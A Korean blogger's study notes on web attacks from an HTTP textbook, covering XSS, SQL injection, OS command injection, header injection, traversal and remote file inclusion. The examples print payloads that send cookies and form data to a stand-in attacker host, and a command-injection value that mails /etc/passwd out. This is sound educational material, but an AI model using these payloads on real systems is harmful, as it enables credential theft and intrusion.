백엔드 공부 메모/네트워크

웹 공격 기술(1) - 출력 값의 이스케이프 미비에 의한 공격

볼륨조절불가 2024. 3. 7. 15:40
728x90

 

 

* 해당 게시글은 <그림으로 배우는 Http&Network Basic>을 읽고 정리하면서 공부하기 위해 메모하듯 작성하는 글입니다.

 

 


 

 

웹 보안 공격 개요

  • HTTP 자체는 보안상의 문제가 일어날 정도로 복잡한 프로토콜이 아니기에 HTTP가 공격 대상이 되는 일은 거의 없음
  • 공격 대상은 HTTP를 사용하는 서버와 클라이언트, 서버 상에서 동작하는 웹 애플리케이션 등의 리소스가 대부분
  • HTTP는 구조가 단순한 프로토콜이므로 장점도 있지만, 보안에 관한 단점 또한 존재
    • SSH라는 프로토콜에는 프로토콜 수준에서 인증, 세션 관리 등의 기능을 제공하지만 HTTP는 관련 기능 부재
    • 그래서 HTTP 서버를 이용한 웹 서비스를 개발할 때, 관련 기능을 스스로 구현해야 함
    • 그러다보니 보안상 허점이 있는 상태에서 가동되는 웹 애플리케이션 존재

리퀘스트에 의한 보안상 허점

  • HTTP 리퀘스트 내용은 모든 클라이언트에서 자유롭게 변경 및 변조 가능하므로, 웹 애플리케이션익 기대하는 값과는 다른 값이 보내질 가능성 존재
  • 웹 애플리케이션에 대한 공격은 리퀘스트 메시지에 공격 코드를 실어서 실행
    • 쿼리나 폼, HTTP 헤더, 쿠키 등을 경유해서 보내지는 공격 코드에 의해, 웹 애플리케이션에 취약성이 있을 경우 정보를 도둑맞거나 권한을 빼앗기는 일 발생

공격 패턴

  • 서버를 노리는 능동적 패턴
    • 공격자가 직접 웹 애플리케이션에 접근해 공격 코드를 보내는 형태
    • 서버 상의 리소스에 직접 실행되기에 공격자가 리소스에 액세스할 필요 존재
    • SQL 인젝션, OS 커맨드 인젝션 등이 여기에 속함
  • 유저를 노리는 수동적 패턴
    • 함정을 이용해 유저에게 공격 코드를 실행시키는 공격 형태
    • XSS(크로스 사이트 스크립팅), CSRF(크로스 사이트 리퀘스트 포저리) 등이 여기에 속함
<수동적 공격의 일반적 작동 순서>

1. 공격자가 설치한 함정에 유저를 유도
(
함정에는 공격 코드를 심어둔, HTTP 리퀘스트를 방생시키기 위한 장치 존재)
2. 유저가 함정에 걸리면 유저의 브라우저나 메일 클라이언트에서 함정을 열게 됨
3. 유저의 브라우저가 장착된 공격 코드를 포함한 HTTP 리퀘스트를 공격 대상인 웹 애플리케이션에 송신하고 공격 코드를 실행
4. 
공격 코드 실행 결과, 유저의 쿠키 등 기밀 정보 누출, 로그인 중인 유저의 권한 악용 문제 발생

인트라넷을 향한 수동적 공격

  • 수동적 공격을 이용해 인트라넷 네트워크까지 공격 가능
    • 많은 인트라넷에서 인터넷 상의 웹 사이트에 액세스, 인터넷으로부터 전송된 메일 수신 등이 가능하기 때문

 

 


 

 

출력 값의 이스케이프 미비로 인한 취약성

웹 애플리케이션에서 처리한 데이터를 DB, 파일시스템, HTML, 메일 등으로 전달하는 곳에 따라 값을 ‘이스케이프 처리'하는 것이 미비하여 발생하는 취약점을 공격하는 방식들을 다룸

크로스 사이트 스크립팅

  • 취약성이 있는 웹사이트를 방문한 사용자의 브라우저에서 잘못된 HTML 태그나 js 등을 동작시키는 공격
  • 동적으로 HTML을 생성하는 부분에서 취약성 발생 가능
    • 공격자의 스크립트가 함정이 되고 브라우저 상에서 움직이는 수동적 공격
  • 영향
    • 가짜 입력 폼 등으로 유저의 개인정보 유출
    • 스크립트에 의해 유저의 쿠키값 유출, 피해자의 의도와 상관없는 리퀘스트 송신
    • 가짜 문장, 이미지 표시

사례1 - 공격자가 준비한 로그인 페이지에 속아 개인정보가 공격자에게 유출되는 경우

  • 로그인 페이지 요청시 입력한 id 파라미터 값을 ID 입력란에 반영하는 경우를 가정
<!-- http://example.com/login?id=novol 요청 결과 반환되는 html의 일부 -->
<!-- input 태그의 value 속성에 반영된 것 확인 가능 -->

<form action="http://example.com/login" method="post" id="login">
ID <input type="text" name="id" value="novol" />

<!-- 생략 -->
</form>

 

<!-- 공격자가 준비한 링크 요청 결과 반환되는 html의 일부 -->
<!-- 가독성 위해 조금 정리 -->
<!-- script, span 태그가 새로 생긴 것 확인 가능 -->

<form action="http://example.com/login" method="post" id="login">
ID <input type="text" name="id" value="">

<script>
var f = document.getElementById("login");
f.action = "http://hackr.jp/pwget";
f.method = "get";
</script>
<span s="" />

<!-- 생략 -->
</form>
  • 공격자가 준비한 링크를 실행하게 되면 html 내 script 블록에 의해 폼 요청을 하게 되는 링크가 달라지게 되어 결과적으로 공격자의 웹사이트로 폼에 입력한 개인 정보가 전달됨

사례2 - 유저의 쿠키가 빼앗기는 경우

  • 유저가 사례1과 동일한 웹사이트(example.com)에 접속한다고 가정
공격자가 준비한 링크

http://example.com/login?id="><script+src=http://hackr.jp/xss.js></script><span+s="
// 공격자 웹 애플리케이션(서버) 내 xss.js 내용

var content = escape(document.cookie); // 쿠키 값을 유니코드로 인코딩하여 content에 저장
document.write("img src=http://hackr.jp/?");
document.write(content);
document.write(">");
  • 공격자의 링크를 유저가 실행하게 되면 파라미터에 의해 스크립트 블록이 생기고, 스크립트 블록을 실행한 결과 공격자의 웹사이트에 이미지를 요청하게 됨
    • src 속성으로 지정된 링크에 리소스가 있든 없든 해당 링크에 요청하게 되므로 공격자의 웹사이트에 유저의 쿠키 정보가 전달되어 유출 피해 발생

SQL 인젝션

  • 웹 애플리케이션을 이용하는 데이터베이스에 SQL을 부정하게 실행하는 공격
  • 개인 정보, 기밀 정보 누설로 이어질 수 있음
  • SQL의 호출 방법이 허술할 경우, 의도하지 않은(공격자가 의도한) SQL문 삽입 가능성 존재
    • HTTP 요청으로 받아온 데이터를 SQL문의 특정 부분에 삽입할 때, SQL 내에서 특수하게 취급되는 키워드나 문자열을 이용해 공격자가 원하는 대로 본래 SQL문의 구문을 파괴하여 변조 가능
  • 영향
    • 데이터베이스 내의 데이터 부정 열람, 변조
    • 인증 회피
    • DB 서버를 경유한 프로그램 실행 등

사례 - 검색 기능에 활용되는 SQL을 임의로 조작하는 경우

  • 도서 쇼핑 사이트에 저자 이름으로 책을 검색하는 상황
  • 이때 요청하는 URL이 http://ex2.com/search?q=베르나르베르베르 라고 하면
  • 요청 파라미터 q의 값을 받아 아래와 같은 SQL문으로 데이터베이스 검색한다고 가정
    • SELECT * FROM bookTbl WHERE author = '베르나르베르베르' and flag = 1;
      • 판매 가능한 책인 경우 flag = 1, 절판된 경우 0
      • 즉 위의 SQL문은 판매 가능한 베르나르베르베르의 서적을 검색
  • 이때 http://ex2.com/search?q=베르나르베르베르'-- 를 요청한다면 절판된 책까지도 검색 가능
    • SQL문에서 -- 이후부터는 주석으로 처리하기 때문
    • 파라미터 q에 담긴 베르나르베르베르'--의 값을 넣어 SQL문을 완성하게 되면 아래와 같음
      • SELECT * FROM bookTbl WHERE author = '베르나르베르베르'--' and flag = 1;
      • SQL문에 생긴 주석 시작 표시(--)로 인해 flag 조건이 들어가지 않은 SQL문 실행
        • SELECT * FROM bookTbl WHERE author = '베르나르베르베르' 까지가 유효한 SQL문

OS 커맨드 인젝션

  • 웹 애플리케이션을 경유하여 OS 명령을 부정하게 실행하는 공격
  • 쉘을 호출하는(시스템 콜) 함수가 있는 곳에서 주로 발생
    • 웹 애플리케이션에서 OS에서 사용되는 커맨드를 쉘을 경유해서 실행할 수 있음
    • 이때 쉘의 호출 방법에 취약한 부분이 있다면 잘못된 OS 커맨드가 삽입되어 실행되는 경우 존재
    • 공격자가 원하는 대로 OS에서 동작하는 다양한 프로그램 실행 가능

사례 - 폼에 입력한 내용을 기반으로 상대에게 메일을 송신하는 프로그램 악용

  • 웹 애플리케이션(서버)의 동작 과정은 아래와 같다고 가정
  1. 유저가 폼에 상대방의 메일 주소와 메일 내용 입력 후 전송 버튼 클릭
  2. 서버에서 메일 주소를 변수로 받아와 서버 OS(리눅스 기반 서버라고 가정)의 메일 전송 프로그램 실행
  • 서버 측에서 메일 전송 위해 sendmail 이라는 프로그램을 실행해 메일 전송
    • (폼에 입력한 메일 내용) | usr/sbin/sendmail (폼에 입력한 수신자의 이메일)
    • sendmail은 리눅스의 메일 전송 프로그램(윈도우의 outlook같은 느낌)
  • 공격자에 의해, '받는 사람'에 ; cat etc/passwd | mail hack@example.com 을 전달하면 명령어는 아래처럼 완성
    • (내용) | usr/sbin/sendmail ; cat etc/passwd | mail hack@example.com
    • mail 또한 리눅스의 메일 전송 프로그램
  • 완성된 명령어를 실행하게 되면 서버의 중요한 정보(/etc/passwd: 리눅스의 계정 정보가 포함된 파일)가 hack@example.com(공격자 이메일)으로 전송

HTTP 헤더 인젝션

  • 공격자가 리스폰스 헤더 필드에 개행 문자 등을 삽입함으로써 임의의 리스폰스 헤더 필드나 바디를 추가하는 수동적 공격
    • 특히 바디를 추가하는 공격을  HTTP 리스폰스 분할 공격(HTTP Response Splitting Attack)이라고 부름
  • 외부에서 받은 값이 리스폰스 헤더 필드의 값에 들어가는 경우에 발생
  • 영향
    • 임의의 쿠키 설정
    • 임의의 URL에 리다이렉트
    • 임의의 바디 표시(HTTP 리스폰스 분할 공격)

사례 - 임의의 헤더 필드를 리스폰스에 삽입하여 유저로 위장(Set-Cookie 필드 삽입)

  • 카테고리를 선택해 해당 각 카테고리의 페이지로 리다이렉트시키는 기능을 이용하는 상황
  • 카테고리 선택 후 이동할 때 get 요청에 의해 카테고리 값이 파라미터로 전달된다고 가정
    • 선택한 카테고리 값이 101인 경우 http://ex3.com?cat=101으로 리다이렉트됨
    • 이동(요청) 과정에서 Location 헤더 필드 값이 http://ex3.com?cat=101으로 설정되어 리다이렉트 가능
  • 공격자가 cat 파라미터에 들어갈 값을 101%0D%0ASet-Cookie:+SID=123456789 로 설정한 후 요청
    • Location 헤더 필드 값이 http://ex3.com?cat=101%0D%0ASet-Cookie:+SID=123456789으로 설정
    • 이때 HTTP 메시지에서 %0D%0A는 HTTP의 개행 문자를 의미
    • 때문에 HTTP 메시지는 아래와 같이 해석
Location: http://ex3.com?cat=101
Set-Cookie: SID=123456789
  • 개행 문자를 해석하였기 때문에 서버 측에서 리다이렉트 위치를 알려줌(첫 번째 줄)과 동시에 공격자가 지정한 쿠키를 설정해 보내는 결과 발생
    • 위의 예시에서 공격자는 개행 문자를 통해 세션 ID 지정 
    • 이처럼 공격자가 임의로 지정한 세션 ID를 사용하게 하는 공격을 세션 픽세이션(Session Fixation)이라고 함

사례 - 개행 문자를 두 번 사용해 공격자가 원하는 바디 전달

  • HTTP 인젝션이 가능한 곳에 개행 문자(%0D%0A)를 두 번 사용해 HTTP 헤더와 바디를 강제로 나눈 뒤, 공격자가 원하는 HTTP 바디를 표시
  • 이 공격에 당한 유저는 공격자가 준비한 가짜 웹페이지를 보게 되어 유저의 개인정보를 입력받아 본인이 입수하거나, 크로스 사이트 스크립팅과 같은 효과를 얻을 수 있음

디렉토리 접근 공격(Directory Traversal)

  • 비공개 디렉토리 파일에 대해 부정하게 디렉토리 패스를 가로질러(불법적인 방법으로) 액세스하는 공격
  • 파일을 조작하는 처리에서 파일 이름을 외부에서 지정하는 처리가 취약할 경우 발생 가능
    • 상대 경로, 절대 경로의 문법을 사용해 일반 유저가 접근하지 못하는 디렉토리나 파일에 접근이 가능한 경우, 웹 서버상의 파일이 잘못 열람되거나, 변조, 삭제될 수도 있음
    • 임의의 파일 이름을 지정할 수 없도록 지정해야 함

리모트 파일 인클루션

  • 스크립트의 일부를 다른 파일에서 읽어올 때 공격자가 지정한 외부 서버의 URL을 파일에서 읽게 하여 공격자가 원하는 스크립트를 동작시키는 공격
  • 주로 php 서버에서 발생
    • php의 include, require 설정에 의해 외부 서버의 URL을 파일명으로 지정할 수 있기 때문
    • 임의의 파일 이름을 지정할 수 없도록 지정해야 함
 
728x90